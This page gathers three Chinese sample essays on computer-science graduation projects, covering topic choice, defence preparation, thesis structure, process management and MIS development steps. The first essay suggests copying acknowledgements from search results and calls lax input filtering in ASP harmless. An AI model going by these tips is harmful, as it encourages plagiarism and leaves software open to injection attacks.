前言:中文期刊網(wǎng)精心挑選了計(jì)算機(jī)畢業(yè)論文設(shè)計(jì)范文供你參考和學(xué)習(xí),希望我們的參考范文能激發(fā)你的文章創(chuàng)作靈感,歡迎閱讀。
計(jì)算機(jī)畢業(yè)論文設(shè)計(jì)范文1
一、畢業(yè)選題。
不要選太偏的題,選太偏的題有可能導(dǎo)致可借鑒的資料太少,到最后落下個(gè)力不從心的結(jié)果。也許很多老師在選題的時(shí)候給的建議是不要選太常見的題目,其實(shí)我個(gè)人見解是這是個(gè)誤區(qū),竟然學(xué)校安排了這些題目,理所當(dāng)然就能被選擇。更重要的是常見的題目也能推陳出新,你可以用流行或者高級(jí)的語言來新解這個(gè)論題,這樣也能拿到理想的分?jǐn)?shù)。選題另一個(gè)要注意的地方就是不要選太寬太泛的題目,一旦你的指導(dǎo)老師是個(gè)比較嚴(yán)格的人,要求你按要求辦事,你就會(huì)有點(diǎn)自食其果了。
二、掌握計(jì)算機(jī)基礎(chǔ)。
計(jì)算機(jī)專業(yè)基礎(chǔ)知識(shí)該掌握的還是得掌握,個(gè)人覺得數(shù)據(jù)結(jié)構(gòu)可以忽略一下,畢竟《數(shù)據(jù)結(jié)構(gòu)》是運(yùn)用主要體現(xiàn)在程序的實(shí)際開發(fā)中,而其理論知識(shí)都是大套大套的,對(duì)于答辯提問實(shí)在不宜,所以答辯中不會(huì)過多的涉及數(shù)據(jù)結(jié)構(gòu)的知識(shí);而對(duì)于系統(tǒng)開發(fā)必不可少的《數(shù)據(jù)庫》知識(shí),在這里我推薦重點(diǎn)掌握一下,數(shù)據(jù)庫中重點(diǎn)要注意的是查詢這塊,答辯的老師可能會(huì)針對(duì)你具體系統(tǒng)中的某個(gè)查詢要你寫出數(shù)據(jù)庫語句,比如當(dāng)時(shí)我答辯的時(shí)候老師就問了我一個(gè)牽涉三表查詢的問題,還有主鍵在這個(gè)系統(tǒng)表中的串聯(lián)和功能。
三、掌握畢業(yè)設(shè)計(jì)開發(fā)使用的語言。
這里所謂的掌握并不是需要你真正的能用一門語言去開發(fā)一個(gè)系統(tǒng)什么的,是你得對(duì)這門語言熟悉,略知其一二,能知道它有什么優(yōu)勢(shì)以及它在日常開發(fā)中的作用,并且掌握一些基礎(chǔ)的,如定義變量,基本語法結(jié)構(gòu),其大致的開發(fā)模式;有了這些東西在你畢業(yè)答辯的時(shí)候就多了一份勝算。據(jù)我了解,一般學(xué)校的答辯也不會(huì)很為難學(xué)生,其一是老師都是來自學(xué)校本院,提的問題也是相對(duì)基礎(chǔ)的,只要你答的不是牛頭不對(duì)馬嘴出太大的洋相,基本及格還是沒有問題的。其二是學(xué)校自身得保證他們的升學(xué)率,這個(gè)我就不多說了,大家都懂的。
四、畢業(yè)論文。
論文這塊比較的重要,我就多啰嗦幾句。1)論文格式。格式一定要嚴(yán)格按照學(xué)校的要求來,容不得半點(diǎn)馬虎,投機(jī)取巧那更是給自己挖坑。剛開始就能把格式這塊重視起來會(huì)給指導(dǎo)老師一個(gè)好的印象,哪怕你的程序不是非常的完善。2)論文目錄結(jié)構(gòu)。計(jì)算機(jī)專業(yè)大多數(shù)專業(yè)(可能部分學(xué)校的信息管理專業(yè)沒有開設(shè)這門課程,不過肯定會(huì)開軟件項(xiàng)目管理和信息系統(tǒng)分析與設(shè)計(jì))都必須學(xué)習(xí)軟件工程,一般論文的結(jié)構(gòu)都是按照軟件工程所要求的在做。一般來說論文目錄結(jié)構(gòu)主要有一下部分:緒論、需求分析、總體設(shè)計(jì)、詳細(xì)設(shè)計(jì)、軟件測(cè)試、總結(jié)致謝、參考文獻(xiàn)、附錄。這其中緒論這塊我就不詳細(xì)說了,需求分析這塊也沒有過多要說的,只是把各模塊實(shí)現(xiàn)的功能概括出來就OK了。總體設(shè)計(jì)中就牽涉到數(shù)據(jù)庫設(shè)計(jì)了,這個(gè)就得注意一下了,你得明白自己的系統(tǒng)使用的是面向結(jié)構(gòu)還是面向?qū)ο螅槍?duì)不同的開發(fā)模式需要繪制不同的圖,如面向?qū)ο缶托枰鼒D、類圖、E-R圖之類的。詳細(xì)設(shè)計(jì)中配上系統(tǒng)運(yùn)行的截圖,然后附帶實(shí)現(xiàn)方式,不要放過多的代碼,不然代碼過多會(huì)影響論文的排版和整體美觀。調(diào)試分析這塊很多人會(huì)忽略這塊,其實(shí)這塊會(huì)無形中給你加分;因?yàn)檐浖y(cè)試在實(shí)際的項(xiàng)目開發(fā)中有著舉足輕重的作用。開發(fā)界有這樣一句話:代碼是調(diào)出來的,這足可想見其重要性,因而在論文中配上測(cè)試,會(huì)體現(xiàn)出你的專業(yè)性和學(xué)習(xí)認(rèn)真的態(tài)度。論文后面的感言就不多說了,都是些新的以及對(duì)老師的感謝,懶得自己原創(chuàng)的話可以去搜索引擎網(wǎng)站搞拿來主義。畢竟這塊在論文中不太被重視。最后強(qiáng)調(diào)下參考文獻(xiàn)還得屬于開發(fā)語言的家族,免得弄出不必要的笑話。當(dāng)年我答辯的時(shí)候老師都是挺重視這塊的,可能是這塊容易出問題又或者這塊能體現(xiàn)出word排版的水平
五、系統(tǒng)。
系統(tǒng)這塊,根據(jù)學(xué)校的不同,要求也不同。可以事先跟學(xué)校畢業(yè)的師哥師姐先了解下。要求嚴(yán)格就老老實(shí)實(shí)做。據(jù)我了解,一般的學(xué)校還是只要能實(shí)現(xiàn)主要的模塊就行了。比如人事管理系統(tǒng),員工信息、出勤、調(diào)崗就是重點(diǎn),而打印報(bào)表這塊就沒做太多要求。而對(duì)于類似ASP中的字符過濾,java中的拋出異常稍微松懈下也無傷大雅。畢竟畢業(yè)設(shè)計(jì)是由沒有實(shí)戰(zhàn)經(jīng)驗(yàn)的一個(gè)人或者兩個(gè)人開發(fā)學(xué)生完成,不妥之處在所難免。
計(jì)算機(jī)畢業(yè)論文設(shè)計(jì)范文2
【關(guān)鍵詞】畢業(yè)設(shè)計(jì); 教學(xué)改革
畢業(yè)設(shè)計(jì)是所有工科人才培養(yǎng)方案中規(guī)定的重要實(shí)踐性教學(xué)環(huán)節(jié),高等職業(yè)技術(shù)學(xué)院也不例外。通過該環(huán)節(jié)的教學(xué)使學(xué)生能夠綜合運(yùn)用所學(xué)理論知識(shí)分析、解決實(shí)際工程問題,初步掌握設(shè)計(jì)的一般流程和方法,在設(shè)計(jì)態(tài)度、工程思想、實(shí)踐能力等方面得到系統(tǒng)的鍛煉和提高,為步入工作崗位打下良好的基礎(chǔ)。畢業(yè)設(shè)計(jì)的質(zhì)量在一定程度上反映了學(xué)生的專業(yè)知識(shí)水平、工程素質(zhì)以及綜合運(yùn)用各種知識(shí)的能力;也在一定程度上體現(xiàn)了指導(dǎo)教師的治學(xué)態(tài)度、學(xué)術(shù)水平和指導(dǎo)設(shè)計(jì)工作的能力;同時(shí)也從一個(gè)側(cè)面表明了學(xué)校的教學(xué)質(zhì)量和管理水平[1].尤其對(duì)于工科學(xué)生而言,畢業(yè)設(shè)計(jì)是他們走上工作崗位前的一次預(yù)演,應(yīng)該引起足夠的重視
1.當(dāng)前高等職業(yè)技術(shù)學(xué)院畢業(yè)設(shè)計(jì)(論文)存在的問題
1.1 學(xué)生思想重視不夠, 投入精力不足
由于目前就業(yè)形勢(shì)嚴(yán)峻, 一部分學(xué)生忙于參加各種各樣的招聘會(huì)和公司面試, 在畢業(yè)設(shè)計(jì)環(huán)節(jié)上投入精力甚微。畢業(yè)設(shè)計(jì)的時(shí)間與實(shí)習(xí)、頂崗或長(zhǎng)升本(接本)時(shí)間重合,在兩者不可兼顧的情況下, 多數(shù)學(xué)生都選擇了工作或接本為主, 而不是做畢業(yè)設(shè)計(jì)。
1.2 選題不恰當(dāng)
選題恰當(dāng)是做好畢業(yè)設(shè)計(jì)( 論文) 的前提, 我院制訂的"無錫商業(yè)職業(yè)技術(shù)學(xué)院物聯(lián)網(wǎng)技術(shù)學(xué)院專科生畢業(yè)設(shè)計(jì)( 論文) 工作的若干規(guī)定"規(guī)定了選題的基本原則。
盡管如此, 但是選題不當(dāng)?shù)那闆r仍然時(shí)有發(fā)生, 表現(xiàn)在:(1) 論文題目大多由指導(dǎo)教師給定,學(xué)生并不感興趣, 因此更談不上對(duì)題目的意義有比較深入的思考; (2) 論文題目與學(xué)生的發(fā)展方向不一致。例如有的學(xué)生是軟件方向的, 但指導(dǎo)教師指定的題目卻是硬件方向的等等, 對(duì)于所用到的一些技術(shù)學(xué)生知之甚少; (3) 論文選題陳舊,圖書管理系統(tǒng)題、學(xué)生管理系統(tǒng)等類似的題已經(jīng)做了多少年了, 每年都在做, 又沒有發(fā)展, 毫無創(chuàng)新性可言; (4) 選題脫離社會(huì)實(shí)踐, 所使用的技術(shù)屬于基本已經(jīng)淘汰的技術(shù), 對(duì)學(xué)生綜合能力培養(yǎng)的幫助不大;
1.3 指導(dǎo)教師缺乏經(jīng)驗(yàn), 指導(dǎo)強(qiáng)度大
由于計(jì)算機(jī)專業(yè)發(fā)展比較晚, 具有豐富項(xiàng)目實(shí)踐經(jīng)驗(yàn)的老教師十分稀缺。而隨著近幾年計(jì)算機(jī)專業(yè)擴(kuò)招, 高校引入了大批的年輕的畢業(yè)生充實(shí)教師隊(duì)伍, 這些年輕教師本身充滿活力, 敢想敢干, 不足之處在于他們多是畢業(yè)后直接從事教學(xué)工作, 實(shí)際的工程項(xiàng)目實(shí)踐經(jīng)驗(yàn)不足, 而計(jì)算機(jī)專業(yè)本身是一個(gè)實(shí)踐性要求很強(qiáng)的專業(yè), 沒有這些實(shí)踐體會(huì), 就很難理解軟件開發(fā)過程、軟件技術(shù)如何應(yīng)用到生產(chǎn)這些問題, 從而影響了畢業(yè)設(shè)計(jì)的質(zhì)量;
1.4 畢業(yè)設(shè)計(jì)過程缺乏監(jiān)督
一般按慣例, 指導(dǎo)教師與學(xué)生之間每星期至少應(yīng)見面兩次, 了解學(xué)生畢業(yè)設(shè)計(jì)的進(jìn)展情況。然而由于受到學(xué)生找工作、升本(接本)等特殊情況的影響, 很難堅(jiān)持下來。學(xué)生缺乏主動(dòng)性, 不愿意主動(dòng)找指導(dǎo)教師交流, 因此使得畢業(yè)設(shè)計(jì)的過程缺乏監(jiān)督。
1.5 論文抄襲現(xiàn)象時(shí)有發(fā)生
我校對(duì)論文抄襲現(xiàn)象處置甚嚴(yán), 這也是對(duì)學(xué)生實(shí)事求是的科學(xué)態(tài)度和嚴(yán)肅認(rèn)真的工作作風(fēng)的培養(yǎng), 然而, 部分學(xué)生報(bào)著僥幸和偷懶心理, 往往將網(wǎng)絡(luò)上檢索到的多篇論文稍加修改, 重新組織加工, 從而就變成了自己的畢業(yè)論文。有的學(xué)生甚至一字不改, 原文照搬。
總的說來,目前有的高等職業(yè)技術(shù)院校的畢業(yè)設(shè)計(jì)(論文)工作中的主要問題是少了一點(diǎn)“規(guī)矩”,即使有規(guī)矩也是“老規(guī)矩”。對(duì)隨著教育和教學(xué)改革的深化而出現(xiàn)的新情況遇到的新問題,缺乏深入的研究和及時(shí)的改革。
2.畢業(yè)設(shè)計(jì)(論文)的定位
計(jì)算機(jī)應(yīng)用專業(yè)是一門綜合性非常高的學(xué)科,該專業(yè)軟件、硬件及系統(tǒng)的開發(fā)、應(yīng)用、維護(hù)等工程領(lǐng)域,是一個(gè)縱向較深,橫向較廣的復(fù)合性、綜合性專業(yè)。畢業(yè)設(shè)計(jì)(論文)是學(xué)生綜合運(yùn)用所學(xué)知識(shí),分析、解決實(shí)際問題,培養(yǎng)獨(dú)立思考、獨(dú)立工作的能力,接受高等職業(yè)技術(shù)人員所必需能力的基本訓(xùn)練的重要教學(xué)環(huán)節(jié)。畢業(yè)設(shè)計(jì)(論文)首先具有教學(xué)與教育功能,是實(shí)現(xiàn)專業(yè)培養(yǎng)目標(biāo),對(duì)學(xué)生進(jìn)行設(shè)計(jì)科學(xué)教育,培養(yǎng)探求真理的科學(xué)精神,強(qiáng)化工程意識(shí),進(jìn)行工程基本訓(xùn)練,提高學(xué)生科學(xué)研究能力、工程實(shí)踐能力、創(chuàng)新能力和經(jīng)濟(jì)意識(shí)的重要階段;是培養(yǎng)學(xué)生優(yōu)良思想品質(zhì),進(jìn)行綜合素質(zhì)教育的全面檢驗(yàn)。其次,畢業(yè)設(shè)計(jì)(論文)成果具有直接或間接為經(jīng)濟(jì)建設(shè)服務(wù),為生產(chǎn)、科研服務(wù)的社會(huì)功能。隨著教育和教學(xué)改革的深化,對(duì)人才培養(yǎng)模式的改革,專業(yè)的拓寬改造,對(duì)人才培養(yǎng)提出了新的更高要求,我們更應(yīng)高度重視畢業(yè)設(shè)計(jì)(論文)的基本要求和質(zhì)量評(píng)價(jià),使學(xué)生更清楚地知道怎樣主動(dòng)做好畢業(yè)設(shè)計(jì)(論文),使指導(dǎo)教師更清楚地知道如何對(duì)學(xué)生進(jìn)行指導(dǎo),使管理人員知道怎樣抓住實(shí)質(zhì)問題管理到位,以保證畢業(yè)設(shè)計(jì)(論文)的質(zhì)量。
3.有關(guān)應(yīng)對(duì)措施
3.1 加強(qiáng)學(xué)生思想教育
如何提高高校畢業(yè)設(shè)計(jì)的質(zhì)量, 已成為一個(gè)日益引起教育界關(guān)注的話題。筆者陋見, 根本措施應(yīng)當(dāng)是加強(qiáng)學(xué)生教育, 使學(xué)生引起重視。其實(shí)多數(shù)高校和指導(dǎo)教師對(duì)于加強(qiáng)學(xué)生思想教育的重要性都深有體會(huì), 但具體實(shí)施起來總覺得效果不如想象中好, 關(guān)鍵是在于“循循善誘”幾個(gè)字。筆者今年指導(dǎo)的幾個(gè)學(xué)生中, 也有個(gè)別學(xué)生對(duì)畢業(yè)設(shè)計(jì)重視不夠,設(shè)計(jì)時(shí)敷衍了事, 做好畢業(yè)設(shè)計(jì),是為了對(duì)自己四年學(xué)習(xí)劃上一個(gè)圓滿的句號(hào), 也是對(duì)個(gè)人責(zé)任心的一次考驗(yàn), 從而端正了態(tài)度, 主動(dòng)性大大提高。
3.2 在畢業(yè)設(shè)計(jì)之前做專題講座
由于學(xué)生都是第一次參加畢業(yè)設(shè)計(jì), 所以對(duì)如何進(jìn)入狀態(tài), 開始畢業(yè)設(shè)計(jì)工作, 如何查閱資料, 如何分階段完成, 如何撰寫開題報(bào)告和畢業(yè)論文, 如何對(duì)畢業(yè)論文的章節(jié)規(guī)劃、內(nèi)容安排和格式規(guī)范等知識(shí)缺乏認(rèn)識(shí), 因此在畢業(yè)設(shè)計(jì)之前有必要做專門針對(duì)畢業(yè)設(shè)計(jì)如何開展的專題講座。
3.3 選題是關(guān)鍵, 鼓勵(lì)學(xué)生到企業(yè)進(jìn)行畢業(yè)設(shè)計(jì)
選題是整個(gè)畢業(yè)設(shè)計(jì)(論文)的核心, 正確、恰當(dāng)?shù)剡x題是做好畢業(yè)設(shè)計(jì)(論文)的前提, 應(yīng)首先把好選題關(guān)。在我系首先原則上把一人一題作為選題工作的重要原則少數(shù)課題比較大時(shí), 可以分成幾個(gè)小課題, 但必須保證每個(gè)學(xué)生都是單獨(dú)完成自己的課題,防止學(xué)生互相“幫忙”的發(fā)生。
畢業(yè)設(shè)計(jì)(論文)題目需經(jīng)過教研室討論、教研室主任審核、系主任批準(zhǔn)。對(duì)于一些過易、任務(wù)過輕或所使用的是一些過時(shí)技術(shù)的題, 堅(jiān)決要求進(jìn)行重選。通過這些做法,保證了畢業(yè)設(shè)計(jì)(論文)題目的質(zhì)量, 學(xué)生也反映良好。
開展學(xué)生畢業(yè)設(shè)計(jì)的一種新做法, 是讓學(xué)生到就業(yè)單位去做畢業(yè)設(shè)計(jì), 利用企業(yè)的經(jīng)費(fèi)、場(chǎng)地和技術(shù)力量, 完成企業(yè)需要的技術(shù)課題, 實(shí)行校企聯(lián)合指導(dǎo)方式。一方面, 可培養(yǎng)學(xué)生工程設(shè)計(jì)和科學(xué)研究能力及團(tuán)隊(duì)合作精神, 使學(xué)生了解和掌握實(shí)際工程設(shè)計(jì)和科研的全過程;另一方面,工作單位的實(shí)際課題, 任務(wù)明確, 要求具體, 時(shí)間性強(qiáng), 能激發(fā)學(xué)生的工作熱情和主動(dòng)性, 增強(qiáng)學(xué)生的事業(yè)心和責(zé)任感。同時(shí), 便于用人單位和學(xué)生較早互相了解, 有利于學(xué)生就業(yè)后盡早地進(jìn)人工作角色。我系目前對(duì)于這種新的指導(dǎo)方式正進(jìn)行嘗試和摸索,從目前的效果來看,很受學(xué)生和用人單位的歡迎。[2]
3.4 過程管理很重要
開題報(bào)告完成以后, 就進(jìn)入了漫長(zhǎng)的實(shí)際設(shè)計(jì)過程。要增強(qiáng)對(duì)學(xué)生的監(jiān)督和督促機(jī)制, 防止學(xué)生偷懶。其一,要增強(qiáng)指導(dǎo)教師的責(zé)任感;其二,可引入現(xiàn)在一些軟件公司常用的做法,要求學(xué)生寫周報(bào),讓學(xué)生每周對(duì)自己畢業(yè)設(shè)計(jì)的工作進(jìn)展, 取得的成果或碰到的困難做一次記錄。這樣既避免了學(xué)生臨時(shí)報(bào)佛腳,不做設(shè)計(jì)只寫論文的情況發(fā)生,又使學(xué)生的整個(gè)設(shè)計(jì)過程都有案可查, 增加了對(duì)畢業(yè)設(shè)計(jì)評(píng)分的合理性和公正性。[3]
3.5 如何杜絕論文抄襲現(xiàn)象
論文抄襲是學(xué)術(shù)界十分不齒的行為,應(yīng)當(dāng)給學(xué)生灌輸這種思想。學(xué)生大多都是第一次撰寫學(xué)術(shù)論文,一旦養(yǎng)成了抄襲的壞毛病,則日后對(duì)己對(duì)人都貽害無窮。一方面,應(yīng)當(dāng)將“對(duì)畢業(yè)論文抄襲進(jìn)行嚴(yán)厲懲罰”寫入到畢業(yè)論文的要求規(guī)范當(dāng)中去,一旦發(fā)現(xiàn),絕不姑息;另一方面,指導(dǎo)教師可通過耐心教導(dǎo),擊潰學(xué)生的僥幸心理,讓學(xué)生明白,抄襲的論文是無所遁形的。
3.6 改善評(píng)判學(xué)生畢業(yè)設(shè)計(jì)質(zhì)量
學(xué)生的畢業(yè)設(shè)計(jì)質(zhì)量由兩部分來衡量:
一是設(shè)計(jì)成果的質(zhì)量, 包括軟件的功能、所采用的開發(fā)技術(shù)、人機(jī)界面等部分組成, 可通過現(xiàn)場(chǎng)演示和答辯來評(píng)分;
二是畢業(yè)論文質(zhì)量,根據(jù)課題完成情況和答辯情況由指導(dǎo)教師、評(píng)閱教師和答辯小組分別按畢業(yè)設(shè)計(jì)(論文)評(píng)閱、評(píng)審評(píng)分標(biāo)準(zhǔn)采用“結(jié)構(gòu)分”進(jìn)行評(píng)定,其中指導(dǎo)教師成績(jī)占30%,評(píng)閱教師成績(jī)占30%,答辯小組成績(jī)占 40%
(1)指導(dǎo)教師評(píng)定成績(jī)
根據(jù)指導(dǎo)教師評(píng)審評(píng)分標(biāo)準(zhǔn)從學(xué)生工作量、工作態(tài)度、技術(shù)方案、分析與解決問題的能力、設(shè)計(jì)(論文)質(zhì)量、創(chuàng)新等方面進(jìn)行評(píng)定。
(2)評(píng)閱教師評(píng)閱成績(jī)
根據(jù)省教育廳的有關(guān)文件精神,要求每位學(xué)生的畢業(yè)設(shè)計(jì)(論文)必須由兩位熟悉相應(yīng)課題內(nèi)容的教師(可以是外聘教師)進(jìn)行評(píng)閱,評(píng)閱評(píng)分標(biāo)準(zhǔn)從畢業(yè)設(shè)計(jì)(論文)內(nèi)容、學(xué)生工作水平以及論文撰寫規(guī)范共同確定,每位評(píng)閱教師必須單獨(dú)填寫評(píng)閱表。
(3)答辯
成績(jī)主要由答辯小組根據(jù)答辯評(píng)審評(píng)分標(biāo)準(zhǔn)從學(xué)生的報(bào)告內(nèi)容、報(bào)告過程、回答問題以及學(xué)生在畢業(yè)設(shè)計(jì) (論文) 中的創(chuàng)新等方面進(jìn)行評(píng)定。畢業(yè)設(shè)計(jì)(論文)成績(jī)按優(yōu)秀(>85分)、良好(75分一84分)、中等(66 分一74分)、及格(60分一65分)、不及格(60分以下)五級(jí)分評(píng)定,其中優(yōu)秀比例控制在 20%以內(nèi)。[4]
總之, 高等職業(yè)院校計(jì)算機(jī)專業(yè)畢業(yè)設(shè)計(jì)工作受到了擴(kuò)招、學(xué)生就業(yè)、升本(或接本)等諸多因素的影響,要做好這項(xiàng)工作,根本在于思想重視,重點(diǎn)在于制度保證,只有學(xué)校、教師、學(xué)生都加以重視, 做好各項(xiàng)制度保證, 才能進(jìn)一步提高畢業(yè)設(shè)計(jì)的效果,提高高職院校的畢業(yè)設(shè)計(jì)管理水平。
參考文獻(xiàn):
[1] 張艷 一種工科學(xué)生畢業(yè)設(shè)計(jì)質(zhì)量的評(píng)價(jià)方法[J] 武漢工程大學(xué)學(xué)報(bào),2010(9):94~97
[2]廖志凌等.高校本科畢業(yè)設(shè)計(jì)中存在的問題及對(duì)策[J].江蘇大學(xué)學(xué)報(bào)(高教研究版), 2004, 4(2), 82- 85.
計(jì)算機(jī)畢業(yè)論文設(shè)計(jì)范文3
我們這篇文章分部分進(jìn)行講解:
一、本科學(xué)生畢業(yè)論文的目的和內(nèi)容
二、管理信息系統(tǒng)開發(fā)的主要步驟
三、計(jì)算機(jī)專業(yè)所選開發(fā)工具和注意事項(xiàng)
四、計(jì)算機(jī)畢業(yè)論文撰寫格式
五、畢業(yè)論文中正文的寫法和注意事項(xiàng)
六、結(jié)束語的寫法
七、參考文獻(xiàn)列出畢業(yè)論文設(shè)計(jì)中主要參考書籍
八、附錄的寫法
九、論文評(píng)分的能用標(biāo)準(zhǔn)
一、本科學(xué)生畢業(yè)論文的目的和內(nèi)容
本科學(xué)生在畢業(yè)之前必須做畢業(yè)論文,其目的是通過畢業(yè)論文,讓學(xué)生獨(dú)立開發(fā)一個(gè)具體的計(jì)算機(jī)應(yīng)用項(xiàng)目,系統(tǒng)地進(jìn)行分析總結(jié)和運(yùn)用學(xué)過的書本知識(shí),以鞏固本科階段所學(xué)的專業(yè)理論知識(shí),并給予一個(gè)理論聯(lián)系實(shí)際的機(jī)會(huì)。
為了便于實(shí)施和管理,規(guī)定網(wǎng)絡(luò)學(xué)院計(jì)算機(jī)相關(guān)專業(yè)本科學(xué)生畢業(yè)論文主要以開發(fā)一個(gè)管理信息系統(tǒng)為畢業(yè)實(shí)踐的課題,每個(gè)畢業(yè)生通過獨(dú)立開發(fā)一個(gè)具體的管理信息系統(tǒng),掌握開發(fā)一個(gè)比整完整的管理信息系統(tǒng)的主要步驟,并從中獲得一定的實(shí)際經(jīng)驗(yàn)。
二、管理信息系統(tǒng)開發(fā)的主要步驟
管理信息系統(tǒng)開發(fā)的主要步驟及各步驟的基本內(nèi)容如下:
1、系統(tǒng)分析
主要工作內(nèi)容有以下幾項(xiàng):確定系統(tǒng)目標(biāo),系統(tǒng)可行性分析
2、系統(tǒng)調(diào)查
系統(tǒng)的組織結(jié)構(gòu)、職能結(jié)構(gòu)和業(yè)務(wù)流程分析。其中系統(tǒng)的組織結(jié)構(gòu)圖應(yīng)畫成樹狀結(jié)構(gòu)。
系統(tǒng)業(yè)務(wù)流程分析、業(yè)務(wù)流程圖
3、數(shù)據(jù)流程分析
數(shù)據(jù)流程圖(系統(tǒng)關(guān)聯(lián)圖、頂層圖、一層數(shù)據(jù)流圖、二層數(shù)據(jù)流圖)、數(shù)據(jù)詞典、代碼設(shè)計(jì)
4、管理信息系統(tǒng)的功能設(shè)計(jì)
系統(tǒng)的功能結(jié)構(gòu)圖,每個(gè)功能模塊的主要工作內(nèi)容、輸入輸出要求等。
系統(tǒng)控制結(jié)構(gòu)圖
5、數(shù)據(jù)庫設(shè)計(jì)
概念模型設(shè)計(jì):實(shí)體、實(shí)體間的聯(lián)系、E-R圖
關(guān)系模式設(shè)計(jì):E—R圖->關(guān)系模式的轉(zhuǎn)換規(guī)則
關(guān)系模式
數(shù)據(jù)庫表設(shè)計(jì):數(shù)據(jù)庫表結(jié)構(gòu)
6、系統(tǒng)物理配置方案
7、人機(jī)界面設(shè)計(jì)
8、模塊處理概述
9、系統(tǒng)測(cè)試和調(diào)試:測(cè)試計(jì)劃、測(cè)試用例、測(cè)試結(jié)果
三、開發(fā)工具和注意事項(xiàng)
1、開發(fā)工具
開發(fā)工具可由學(xué)生任選。如Delphi、FoxPro、VB、Access等,這些工具的使用全由學(xué)生自學(xué)。
2、注意事項(xiàng)
(1)項(xiàng)目開發(fā)步驟的完整性(系統(tǒng)需求分析、概念設(shè)計(jì)、物理設(shè)計(jì)、系統(tǒng)環(huán)境和配置、系統(tǒng)實(shí)施以及系統(tǒng)測(cè)試和調(diào)試等)
(2)每個(gè)開發(fā)步驟所得結(jié)果的正確性(業(yè)務(wù)流程圖、數(shù)據(jù)流程圖、數(shù)據(jù)詞典、HIPO圖、E-R圖、關(guān)系模式、人機(jī)界面設(shè)計(jì)及模塊處理等的詳細(xì)分析和說明)
(3)論文整體結(jié)構(gòu)的完整性(前言、各個(gè)具體步驟的敘述和分析、結(jié)語、參考文獻(xiàn)和有關(guān)附錄)
(4)提供軟件系統(tǒng)的可執(zhí)行盤片及操作說明書
(5)參考資料(列出必要的參考資料)
四、畢業(yè)論文撰寫格式
注意:1.每個(gè)步驟都要有文字說明和論述2.各個(gè)步驟必須是有機(jī)的組合,不可以支離破碎不成一體。
一、封面
二、摘要用約200-400字簡(jiǎn)要介紹一下論文中闡述的主要內(nèi)容及創(chuàng)新點(diǎn)
三、主題詞用一、二個(gè)詞點(diǎn)明論文所述內(nèi)容的性質(zhì)。(二和三要在同一頁面上)
四、目錄一般采用三級(jí)目錄結(jié)構(gòu)。例如第三章系統(tǒng)設(shè)計(jì)3.1系統(tǒng)概念結(jié)構(gòu)3.1.1概念模型
五、正文
第一章前言
簡(jiǎn)要介紹:組織機(jī)構(gòu)概況、項(xiàng)目開發(fā)背景、信息系統(tǒng)目標(biāo)、開發(fā)方法概述、項(xiàng)目開發(fā)計(jì)劃等。
第二章系統(tǒng)需求分析
本章應(yīng)包含:
(1)現(xiàn)行業(yè)務(wù)系統(tǒng)描述
包括業(yè)務(wù)流程分析,給出業(yè)務(wù)流程圖。
具體要求:業(yè)務(wù)流程圖必須有文字說明,圖要完整、一定要有業(yè)務(wù)傳遞的流程。
(2)現(xiàn)行系統(tǒng)存在的主要問題分析
指出薄弱環(huán)節(jié)、指出要解決的問題的實(shí)質(zhì),確保新系統(tǒng)更好,指出關(guān)鍵的成功因素。
(3)提出可能的解決方案
(4)可行性分析和抉擇
包括技術(shù)可行性、經(jīng)濟(jì)可行性、營(yíng)運(yùn)可行性分析和抉擇。
第三章新系統(tǒng)邏輯方案
針對(duì)用戶需求,全面、系統(tǒng)、準(zhǔn)確、詳細(xì)地描述新系統(tǒng)應(yīng)具備的功能。
(1)數(shù)據(jù)流程分析
最主要的是給出數(shù)據(jù)流程圖,要求滿足以下條件:
A.?dāng)?shù)據(jù)流程圖必須包括系統(tǒng)關(guān)聯(lián)圖、系統(tǒng)頂層圖、第一層分解圖和第二層分解圖組成。B.系統(tǒng)關(guān)聯(lián)圖確定了從外部項(xiàng)到系統(tǒng)的數(shù)據(jù)流和從系統(tǒng)向外部項(xiàng)的數(shù)據(jù)流,這些數(shù)據(jù)流在其它層次的數(shù)據(jù)流中不允許減少,也不允許增加。各層次內(nèi)部的數(shù)據(jù)流不受關(guān)聯(lián)圖的限制。C.數(shù)據(jù)流應(yīng)有名字。D.外部項(xiàng)和數(shù)據(jù)存儲(chǔ)之間不得出現(xiàn)未經(jīng)加工的數(shù)據(jù)流。E.數(shù)據(jù)流程圖的分解中,必須保持每個(gè)分層同其上層加工中的外部項(xiàng)和輸入輸出流相一致。F.各加工之間一般不應(yīng)出現(xiàn)未經(jīng)數(shù)據(jù)存儲(chǔ)的數(shù)據(jù)流。G.數(shù)據(jù)存儲(chǔ)之間不得出現(xiàn)未經(jīng)加工的數(shù)據(jù)流。H.數(shù)據(jù)存儲(chǔ)可以分解。I.若有查詢處理,應(yīng)在數(shù)據(jù)流程圖中表達(dá)。J.統(tǒng)計(jì)和打印報(bào)表不在數(shù)據(jù)流圖中表達(dá)。
(2)數(shù)據(jù)詞典描述
可采用圖表格式或較緊湊的記錄格式描述A、若采用圖表格式,可只寫出數(shù)據(jù)流、數(shù)據(jù)元素、加工、數(shù)據(jù)存儲(chǔ)和外部項(xiàng)各一個(gè)表。B、若采用緊湊的記錄格式,則應(yīng)列出全部成分。如數(shù)據(jù)元素:編號(hào)名稱存在于數(shù)據(jù)結(jié)構(gòu)備注E1入庫數(shù)據(jù)F1/F3/F11/F15入庫單號(hào)日期貨號(hào)數(shù)量E2出庫數(shù)據(jù)F1/F3/F11/F15出庫單號(hào)日期貨號(hào)數(shù)量C、據(jù)流程圖中系統(tǒng)頂層圖的數(shù)據(jù)加工都必須詳盡寫出。
(3)基本加工小說明
可采用結(jié)構(gòu)化語言、數(shù)學(xué)公式等描述各個(gè)基本加工。
第四章系統(tǒng)總體結(jié)構(gòu)設(shè)計(jì)
(1)軟件模塊結(jié)構(gòu)設(shè)計(jì)A、系統(tǒng)軟件模塊結(jié)構(gòu)圖,并由此導(dǎo)出功能分解圖及層次式菜單結(jié)構(gòu)。B、系統(tǒng)的模塊結(jié)構(gòu)應(yīng)與數(shù)據(jù)流程圖的頂層圖的加工一致。
